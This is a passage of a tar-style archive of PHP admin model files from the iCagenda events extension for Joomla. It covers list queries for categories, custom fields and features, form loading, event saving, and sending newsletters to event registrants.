		$search = $app->getUserStateFromRequest($this->context.'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$published = $app->getUserStateFromRequest($this->context.'.filter.state', 'filter_published', '', 'string');
		$this->setState('filter.state', $published);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_icagenda');
		$this->setState('params', $params);

		// List state information.
		parent::populateState('a.title', 'asc');
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param	string		$id	A prefix for the store id.
	 * @return	string		A store id.
	 * @since	1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id.= ':' . $this->getState('filter.search');
		$id.= ':' . $this->getState('filter.state');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return	JDatabaseQuery
	 * @since	1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db		= $this->getDbo();
		$query	= $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);
		$query->from('`#__icagenda_category` AS a');


                // Join over the users for the checked out user.
               $query->select('uc.name AS editor');
               $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');



                // Filter by published state
                $published = $this->getState('filter.state');
                if (is_numeric($published)) {
                    $query->where('a.state = '.(int) $published);
                } else if ($published === '') {
                    $query->where('(a.state IN (0, 1))');
                }


		// Filter by search in title
		$search = $this->getState('filter.search');
		if (!empty($search)) {
			if (stripos($search, 'id:') === 0) {
				$query->where('a.id = '.(int) substr($search, 3));
			} else {
				$search = $db->Quote('%'.$db->escape($search, true).'%');
                $query->where('( a.title LIKE '.$search.'  OR  a.color LIKE '.$search.'  OR  a.desc LIKE '.$search.' )');
			}
		}

		// Add the list ordering clause.
		$orderCol	= $this->state->get('list.ordering');
		$orderDirn	= $this->state->get('list.direction');
        if ($orderCol && $orderDirn) {
		    $query->order($db->escape($orderCol.' '.$orderDirn));
        }

		return $query;
	}
}
com_icagenda/models/customfields.php000060400000013062152455305270013640 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-16
 * @since		3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modellist');

/**
 * Methods supporting a list of iCagenda custom fields.
 */
class iCagendaModelcustomfields extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param	array		An optional associative array of configuration settings.
	 * @see		JController
	 * @since	3.4.0
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'cf.id',
				'ordering', 'cf.ordering',
				'state', 'cf.state',
				'title', 'cf.title',
				'slug', 'cf.slug',
				'parent_form', 'cf.parent_form',
				'type', 'cf.type',
				'required', 'cf.required',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @since	3.4.0
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// Initialise variables.
		$app = JFactory::getApplication('administrator');

		// Load the filter state.
		$search = $app->getUserStateFromRequest($this->context.'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$published = $app->getUserStateFromRequest($this->context.'.filter.state', 'filter_published', '', 'string');
		$this->setState('filter.state', $published);

		// Filter (dropdown) parent form
		$parent_form = $this->getUserStateFromRequest($this->context.'.filter.parent_form', 'filter_parent_form', '', 'string');
		$this->setState('filter.parent_form', $parent_form);

		// Filter (dropdown) field type
		$type = $this->getUserStateFromRequest($this->context.'.filter.type', 'filter_type', '', 'string');
		$this->setState('filter.type', $type);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_icagenda');
		$this->setState('params', $params);

		// List state information.
		parent::populateState('cf.title', 'asc');
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param	string		$id	A prefix for the store id.
	 * @return	string		A store id.
	 * @since	3.4.0
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id.= ':' . $this->getState('filter.search');
		$id.= ':' . $this->getState('filter.state');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return	JDatabaseQuery
	 * @since	3.4.0
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db		= $this->getDbo();
		$query	= $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'cf.*'
			)
		);
		$query->from('`#__icagenda_customfields` AS cf');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor');
		$query->join('LEFT', '#__users AS uc ON uc.id=cf.checked_out');

		// Filter by published state
		$published = $this->getState('filter.state');

		if (is_numeric($published))
		{
			$query->where($db->qn('cf.state') . ' = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where($db->qn('cf.state') . ' IN (0, 1)');
		}

		// Filter by Parent Form
		$parent_form = $db->escape($this->getState('filter.parent_form'));

		if (!empty($parent_form))
		{
			$query->where($db->qn('cf.parent_form') . ' = ' . (int) $parent_form);
		}

		// Filter by Field Type
		$type = $db->escape($this->getState('filter.type'));

		if (!empty($type))
		{
			$query->where($db->qn('cf.type') . ' = ' . (string) $db->q($type));
		}

		// Search Filters
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->qn('cf.id') . ' = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->Quote('%'.$db->escape($search, true).'%');
				$query->where('( cf.title LIKE '.$search.'  OR  cf.slug LIKE '.$search.'  OR  cf.type LIKE '.$search.' )');
			}
		}

		// Add the list ordering clause.
		$orderCol	= $this->state->get('list.ordering');
		$orderDirn	= $this->state->get('list.direction');

		if ($orderCol && $orderDirn)
		{
			$query->order($db->escape($orderCol.' '.$orderDirn));
		}

		return $query;
	}

	/**
	 * Gets a list of Parent Forms.
	 *
	 * @since	3.4.0
	 */
	function getParentForm()
	{
		$list['1'] = JText::_('COM_ICAGENDA_CUSTOMFIELD_PARENT_REGISTRATION_FORM');
		$list['2'] = JText::_('COM_ICAGENDA_CUSTOMFIELD_PARENT_EVENT_EDIT');

		return $list;
	}

	/**
	 * Gets a list of Field Types.
	 *
	 * @since	3.4.0
	 */
	function getFieldTypes()
	{
		$type['text'] = JText::_('COM_ICAGENDA_CUSTOMFIELD_TYPE_TEXT');
		$type['list'] = JText::_('COM_ICAGENDA_CUSTOMFIELD_TYPE_LIST');
		$type['radio'] = JText::_('COM_ICAGENDA_CUSTOMFIELD_TYPE_RADIO');

		return $type;
	}
}
com_icagenda/models/mail.php000060400000016364152455305270012071 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-30
 * @since       2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modeladmin');
jimport('joomla.mail.mail');


/**
 * iCagenda model.
 */
class iCagendaModelMail extends JModelAdmin
{
	/**
	 * @var		string	The prefix to use with controller messages.
	 * @since	1.6
	 */
	protected $text_prefix = 'COM_ICAGENDA';

	/**
	 * Method to get the row form.
	 *
	 * @param   array    $data      An optional array of data for the form to interogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm	A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_icagenda.mail', 'mail', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			$data = JFactory::getApplication()->getUserState('com_icagenda.display.mail.data', array());

			if (empty($data))
			{
//				$data = $this->getItem();
				$data = JFactory::getApplication()->getUserState('com_icagenda.mail.data', array());
			}
		}
		else
		{
			$data = JFactory::getApplication()->getUserState('com_icagenda.display.mail.data', array());

			if (empty($data))
			{
				$data = JFactory::getApplication()->getUserState('com_icagenda.mail.data', array());
			}

			$this->preprocessData('com_icagenda.mail', $data);
		}

		return $data;
	}

	/**
	 * Method to preprocess the form
	 *
	 * @param   JForm   $form   A form object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @throws  Exception if there is an error loading the form.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'user')
	{
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Send the email
	 *
	 * @return  boolean
	 */
	public function send()
	{
		$app    = JFactory::getApplication();
		$data   = $app->input->post->get('jform', array(), 'array');
		$user   = JFactory::getUser();
		$access = new JAccess;

		// Set Form Data to Session
		$session = JFactory::getSession();
		$session->set('ic_newsletter', $data);

		$mailer = JFactory::getMailer();
		$config = JFactory::getConfig();

		$send	= '';

		$sender = array(
		    $app->getCfg( 'mailfrom' ),
		    $app->getCfg( 'fromname' )
		    );

		$mailer->setSender($sender);

//		$list		= array_key_exists('list', $data) ? $data['list'] : ''; // DEPRECATED
		$eventid	= array_key_exists('eventid', $data) ? $data['eventid'] : '';
		$date		= array_key_exists('date', $data) ? $data['date'] : '';

		$db     = $this->getDbo();
		$query	= $db->getQuery(true);
		$query->select('r.email, r.eventid, r.state, r.date, r.people')
			->from('`#__icagenda_registration` AS r');
		$query->where('r.state = 1');
		$query->where('r.email <> ""');
		$query->where('r.eventid = ' . (int) $eventid);

		if ($date != 'all')
		{
			if (iCDate::isDate($date))
			{
				$query->where('r.date = ' . $db->q($date));
			}
			elseif ($date == 1)
			{
				$query->where('r.period = 1');
			}
			elseif ($date)
			{
				// Fix for old date saving data
				$query->where('r.date = ' . $db->q($date));
			}
			else
			{
				$query->where('r.period = 0');
			}
		}

		$db->setQuery($query);

		$result	= $db->loadObjectList();

		$list	= '';
		$people	= 0;

		foreach ($result as $v)
		{
			$list.= $v->email . ', ';
			$people = ($people + $v->people);
		}

		$subject	= array_key_exists('subject', $data) ? $data['subject'] : '';
		$messageget	= array_key_exists('message', $data) ? $data['message'] : '';

		$list_emails	= explode(', ', $list);

		// Remove dupplicated email addresses
		$recipient			= array_unique($list_emails);
		$dupplicated_emails	= count($list_emails) - count($recipient);

		$obj		= $subject;
		$message	= $messageget;

		$recipient	= array_filter($recipient);
//		$mailer->addRecipient($recipient);
//		$mailer->addRecipient($sender);
		$mailer->addBCC($recipient);

		$content	= stripcslashes($message);
		$body		= str_replace('src="images/', 'src="' . JURI::root() . '/images/', $content);

//		$mailer->setSender(array( $mailfrom, $fromname ));
		$mailer->setSubject($obj);
		$mailer->isHTML(true);
		$mailer->Encoding = 'base64';
		$mailer->setBody($body);

		if ($obj && $body && $eventid && ($date || $date == '0'))
		{
			$send = $mailer->Send();
		}

		if ($send !== true)
		{
		    $app->enqueueMessage(JText::_('COM_ICAGENDA_NEWSLETTER_ERROR_ALERT'), 'error');

		    if ( ! $obj)
		    {
		    	$app->enqueueMessage('- ' . JText::_('COM_ICAGENDA_NEWSLETTER_NO_OBJ_ALERT'), 'error');
		    }
		    if ( ! $body)
		    {
		    	$app->enqueueMessage('- ' . JText::_('COM_ICAGENDA_NEWSLETTER_NO_BODY_ALERT'), 'error');
		    }
		    if ( ! $eventid && ( ! $date && $date != '0'))
		    {
		    	$app->enqueueMessage('- ' . JText::_('COM_ICAGENDA_NEWSLETTER_NO_EVENT_SELECTED'), 'error');
		    }
		    elseif ( $eventid && ( ! $date && $date != '0'))
		    {
		    	$app->enqueueMessage('- ' . JText::_('COM_ICAGENDA_NEWSLETTER_NO_DATE_SELECTED'), 'error');
		    }

		    return false;
		}
		else
		{
		    $app->enqueueMessage('<h2>' . JText::_('COM_ICAGENDA_NEWSLETTER_SUCCESS') . '</h2>', 'message');

			$app->enqueueMessage($this->listSend($recipient, 0, $people), 'message');

			if ($dupplicated_emails)
			{
				$app->enqueueMessage('<i>' . JText::sprintf('COM_ICAGENDA_NEWSLETTER_NB_EMAIL_NOT_SEND', $dupplicated_emails) . '</i>', 'message');
			}

//			$app->setUserState('com_icagenda.mail.data', null);
//			echo '<pre>'.print_r($recipient, true).'</pre>';

		    return true;
		}
	}

	public function listSend($recipient, $level = 0, $people = null)
	{
		$number		= 0;
		$list_send	= '';

		foreach($recipient AS $key => $value)
		{
			if (is_array($value) | is_object($value))
			{
				parent::listArray($value, $level+=1);
			}
			else
			{
//				$number = ($key + 1);
				$number = ($number + 1);

				$list_send.= str_repeat("&nbsp;", $level*3);
				$list_send.= $number . " : " . $value . "<br>";
			}
		}

//		$list_send.= '<div>&nbsp;</div>';
		$list_send.= '<h4>' . JText::_('COM_ICAGENDA_NEWSLETTER_NB_EMAIL_SEND').' = ' . $number . '';
		$list_send.= '<small> (' . JText::_('COM_ICAGENDA_REGISTRATION_TICKETS').': ' . $people . ')</small></h4>';

		return $list_send;
	}
}
com_icagenda/models/customfield.php000060400000007401152455305270013455 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-06-13
 * @since		3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modeladmin');


/**
 * iCagenda model.
 */
class iCagendaModelCustomfield extends JModelAdmin
{
	/**
	 * @var		string	The prefix to use with controller messages.
	 * @since	3.4.0
	 */
	protected $text_prefix = 'COM_ICAGENDA';

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param	type	The table type to instantiate
	 * @param	string	A prefix for the table class name. Optional.
	 * @param	array	Configuration array for model. Optional.
	 * @return	JTable	A database object
	 * @since	3.4.0
	 */
	public function getTable($type = 'Customfield', $prefix = 'iCagendaTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param	array	$data		An optional array of data for the form to interogate.
	 * @param	boolean	$loadData	True if the form is to load its own data (default case), false if not.
	 * @return	JForm	A JForm object on success, false on failure
	 * @since	3.4.0
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_icagenda.customfield', 'customfield',
								array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return	mixed	The data for the form.
	 * @since	3.4.0
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_icagenda.edit.customfield.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		return $data;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param	integer	The id of the primary key.
	 *
	 * @return	mixed	Object on success, false on failure.
	 * @since	3.4.0
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			//Do any procesing on fields here if needed
		}

		return $item;
	}

	/**
	 * Prepare and sanitise the table prior to saving.
	 *
	 * @since	3.4.0
	 */
	protected function prepareTable( $table )
	{
		$app = JFactory::getApplication();

		$date = JFactory::getDate();
		$user = JFactory::getUser();

		if (empty($table->id))
		{
			// Set the values
			$table->created = $date->toSql();

			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__icagenda_customfields'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			// Set the values
			$table->modified = $date->toSql();
			$table->modified_by = $user->get('id');
		}

		// Alter the title for save as copy
		if ($app->input->get('task') == 'save2copy')
		{
			$table->title = iCString::increment($table->title);
			$table->alias = iCString::increment($table->alias, 'dash');
			$table->slug = iCString::increment($table->slug, 'underscore');
			$table->state = '0';
		}
	}
}
com_icagenda/models/features.php000060400000010142152455305270012751 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      doorknob & Cyril Rezé
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-02
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modellist');

/**
 * Methods supporting a list of iCagenda records.
 */
class iCagendaModelfeatures extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param	array		An optional associative array of configuration settings.
	 * @see		JController
	 * @since	3.4.0
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'ordering', 'a.ordering',
				'state', 'a.state',
				'desc', 'a.desc',
				'icon', 'a.icon',
				'icon_alt', 'a.icon_alt',
				'show_filter', 'a.show_filter',
			);
		}

		parent::__construct($config);
	}


	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @since	3.4.0
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// Initialise variables.
		$app = JFactory::getApplication('administrator');

		// Load the filter state.
		$search = $app->getUserStateFromRequest($this->context.'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$published = $app->getUserStateFromRequest($this->context.'.filter.state', 'filter_published', '', 'string');
		$this->setState('filter.state', $published);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_icagenda');
		$this->setState('params', $params);

		// List state information.
		parent::populateState('a.title', 'asc');
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param	string		$id	A prefix for the store id.
	 * @return	string		A store id.
	 * @since	3.4.0
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id.= ':' . $this->getState('filter.search');
		$id.= ':' . $this->getState('filter.state');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return	JDatabaseQuery
	 * @since	3.4.0
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db		= $this->getDbo();
		$query	= $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);
		$query->from('#__icagenda_feature AS a');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor');
		$query->leftJoin('#__users AS uc ON uc.id=a.checked_out');

		// Filter by published state
		$published = $this->getState('filter.state');
		if (is_numeric($published))
		{
			$query->where('a.state=' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.state IN (0, 1))');
		}

		// Filter by search in title
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->Quote('%'.$db->escape($search, true).'%');
				$query->where("(a.title LIKE $search OR a.desc LIKE $search)");
			}
		}

		// Add the list ordering clause.
		$orderCol	= $this->state->get('list.ordering');
		$orderDirn	= $this->state->get('list.direction');

		if ($orderCol && $orderDirn)
		{
			$query->order($db->escape("$orderCol $orderDirn"));
		}

		return $query;
	}
}
com_icagenda/models/download.php000060400000005556152455305270012757 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.0 2015-02-05
 * @since       3.5.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// Joomla 2.5 import
jimport('joomla.application.component.modelform');

/**
 * Download model.
 *
 * @since	3.5.0
 */
class icagendaModelDownload extends JModelForm
{
	protected $_context = 'com_icagenda.registrations';

	/**
	 * Auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   3.5.0
	 */
	protected function populateState()
	{
		// Joomla 3
		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			$input = JFactory::getApplication()->input;

			$basename = $input->cookie->getString(JApplicationHelper::getHash($this->_context . '.basename'), '__SITE__');
			$this->setState('basename', $basename);

			$compressed = $input->cookie->getInt(JApplicationHelper::getHash($this->_context . '.compressed'), 1);
			$this->setState('compressed', $compressed);
		}

		// Joomla 2.5
		else
		{
			$basename = JRequest::getString(JApplication::getHash($this->_context.'.basename'), '__SITE__', 'cookie');
			$this->setState('basename', $basename);

			$compressed = JRequest::getInt(JApplication::getHash($this->_context.'.compressed'), 1, 'cookie');
			$this->setState('compressed', $compressed);
		}
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   3.5.0
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_icagenda.download', 'download', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   3.5.0
	 */
	protected function loadFormData()
	{
		$data = array(
			'basename'		=> $this->getState('basename'),
			'compressed'	=> $this->getState('compressed')
		);

		// Joomla 3
		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			$this->preprocessData('com_icagenda.download', $data);
		}

		return $data;
	}
}
com_icagenda/models/info.php000060400000001240152455305270012065 0ustar00<?php
/** 
 *	iCagenda
 *----------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright	Copyright (C) 2012 JOOMLIC - All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Jooml!C - http://www.joomlic.com
 * 
 * @since		1.2.6
 *----------------------------------------------------------------------------
*/

// No direct access to this file
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport('joomla.application.component.modellist');

/**
 * Methods supporting a list of iCagenda records.
 */
class iCagendaModelinfo extends JModelList
{
	

}
com_icagenda/models/fields.php000060400000001242152455305270012402 0ustar00<?php
/** 
 *	iCagenda
 *----------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright	Copyright (C) 2012 JOOMLIC - All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Jooml!C - http://www.joomlic.com
 * 
 * @since		1.2.6
 *----------------------------------------------------------------------------
*/

// No direct access to this file
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport('joomla.application.component.modellist');

/**
 * Methods supporting a list of iCagenda records.
 */
class iCagendaModelfields extends JModelList
{
	

}
com_icagenda/models/event.php000060400000034177152455305270012272 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.12 2015-09-25
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modeladmin');


/**
 * iCagenda model.
 */
class iCagendaModelEvent extends JModelAdmin
{
	/**
	 * @var		string	The prefix to use with controller messages.
	 * @since	1.0
	 */
	protected $text_prefix = 'COM_ICAGENDA';

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   3.5.6
	 */
	protected function canDelete($record)
	{
		if ( ! empty($record->id))
		{
			if ($record->state != -2)
			{
				return false;
			}

			$user = JFactory::getUser();

			if ($user->authorise('core.delete'))
			{
				icagendaCustomfields::deleteData($record->id, 2);
				icagendaCustomfields::cleanData(2);

				return true;
			}
		}

		return false;
	}

	/**
	 * Prepare and sanitise the table prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since	1.0
	 */
	protected function prepareTable( $table )
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();

		$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);

		if (empty($table->id))
		{
			// Set the values
			$table->created = $date->toSql();

			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__icagenda_events'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			// Set the values
			$table->modified = $date->toSql();
			$table->modified_by = $user->get('id');
		}
	}

	/**
	 * Returns a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable    A database object
	 *
	 * @since	1.0
	 */
	public function getTable($type = 'Event', $prefix = 'iCagendaTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer $pk The id of the primary key.
	 *
	 * @return  mixed   Object on success, false on failure.
	 *
	 * @since	1.0
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			// Do any procesing on fields here if needed
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since	1.0
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_icagenda.event', 'event',
								array('control' => 'jform', 'load_data' => $loadData));
		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since	1.0
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$app = JFactory::getApplication();
		$data_array = $app->getUserState('com_icagenda.edit.event.data', array());

		if (empty($data_array))
		{
			$data = $this->getItem();
		}
		else
		{
			$data = new JObject;
			$data->setProperties($data_array);
		}

		// If not array, creates array with week days data
		if ( ! is_array($data->weekdays))
		{
			$data->weekdays = explode(',', $data->weekdays);
		}

		// Retrieves data, to display selected week days
		$arrayWeekDays = $data->weekdays;

		foreach ($arrayWeekDays as $allTest)
		{
			if ($allTest == '')
			{
				$data->weekdays = '0,1,2,3,4,5,6';
			}
		}

		// Set displaytime default value
		if ( ! isset($data->displaytime))
		{
			$data->displaytime = JComponentHelper::getParams('com_icagenda')->get('displaytime', '1');
		}

		// Set Features
		$data->features = $this->getFeatures($data->id);

		// Convert features into an array so that the form control can be set
		if ( ! isset($data->features))
		{
			$data->features = array();
		}

		if ( ! is_array($data->features))
		{
			$data->features = explode(',', $data->features);
		}

		return $data;
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since	3.4.0
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		// Fix version before 3.4.0 to set a created date (will use last modified date if exists, or current date)
		if (empty($data['created']))
		{
			$data['created'] = ( ! empty($data['modified'])) ? $data['modified'] : $date->toSql();
		}

		// Alter the title for save as copy
		if ($input->get('task') == 'save2copy')
		{
			$origTable = clone $this->getTable();
			$origTable->load($input->getInt('id'));

			if ($data['title'] == $origTable->title)
			{
				list($title, $alias) = $this->generateNewTitle($data['catid'], $data['alias'], $data['title']);
				$data['title'] = $title;
				$data['alias'] = $alias;
			}
			else
			{
				if ($data['alias'] == $origTable->alias)
				{
					$data['alias'] = '';
				}
			}
			$data['state'] = 0;
		}

		// Automatic handling of alias for empty fields
		if (in_array($input->get('task'), array('apply', 'save', 'save2new')) && (int) $input->get('id') == 0)
		{
			if ($data['alias'] == null)
			{
				if (JFactory::getConfig()->get('unicodeslugs') == 1)
				{
